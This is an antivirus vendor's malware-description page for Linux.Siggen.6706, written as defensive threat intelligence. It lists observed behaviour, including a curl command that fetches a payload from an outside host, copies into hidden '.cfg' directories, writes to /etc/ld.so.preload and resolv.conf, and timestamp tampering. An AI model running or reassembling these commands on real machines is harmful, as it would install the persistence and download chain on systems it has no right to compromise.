Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Siggen.6706

Added to the Dr.Web virus database: 2024-03-08

Virus description added:

Technical Information

Malicious functions:
Performs process tracing:
  • <SAMPLE>
Launches processes:
  • pgrep -c rcu_manager
  • sleep 1
  • <0x8b>
  • cp -a /root/.cfg/dealer /usr/bin/mslog/.cfg/
  • chmod 777 /root/.cfg/rcu_manager
  • cp -a /root/.cfg/rcu_manager /usr/bin/mslog/.cfg/
  • cp -f /usr/bin/mslog/.cfg/* /root/.cfg/
  • mkdir -p /root/.cfg
  • <SAMPLE_FULL_PATH> -c exec \x27<SAMPLE_FULL_PATH>\x27 \x22$@\x22 <SAMPLE_FULL_PATH>
  • mv player /usr/bin/
  • tar xvf tools.tar
  • gzip -d
  • cp -a /root/.cfg/tools.tar /usr/bin/mslog/.cfg/
  • chmod +x libextrasshd.so player rcu_manager tools.tar
  • mv libextrasshd.so /usr/local/lib/
  • mkdir -p /usr/bin/mslog/.cfg/
  • curl -O vvnnmm.com/d/tools.tar
  • rm -rf /usr/bin/mslog/.cfg/pass*
Kills the following processes:
  • <SAMPLE>
Performs operations with the file system:
Modifies file access rights:
  • /root/.cfg/libextrasshd.so
  • /root/.cfg/player
  • /root/.cfg/rcu_manager
  • /root/.cfg/tools.tar
Modifies file owner:
  • /root/.cfg/libextrasshd.so
  • /root/.cfg/player
  • /root/.cfg/rcu_manager
  • /usr/bin/mslog/.cfg/rcu_manager
Creates folders:
  • /root/.cfg
  • /usr/bin/mslog
  • /usr/bin/mslog/.cfg
Creates or modifies files:
  • /etc/ld.so.preload
  • /etc/resolv.conf
  • /root/.cfg/tools.tar
  • /root/.cfg/libextrasshd.so
  • /root/.cfg/player
  • /root/.cfg/rcu_manager
  • /usr/bin/mslog/.cfg/rcu_manager
  • /usr/bin/mslog/.cfg/tools.tar
Changes time of creation/access/modification of files:
  • /root/.cfg/libextrasshd.so
  • /root/.cfg/player
  • /root/.cfg/rcu_manager
  • /usr/bin/mslog/.cfg/rcu_manager
  • /usr/bin/mslog/.cfg/tools.tar
Network activity:
Establishes connection:
  • 8.#.8.8:53
  • 91.##.243.135:80
DNS ASK:
  • vv##mm.com
Sends data to the following servers:
  • 91.##.243.135:80
Receives data from the following servers:
  • 91.##.243.135:80
Other:
Collects OS information
Collects CPU information

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number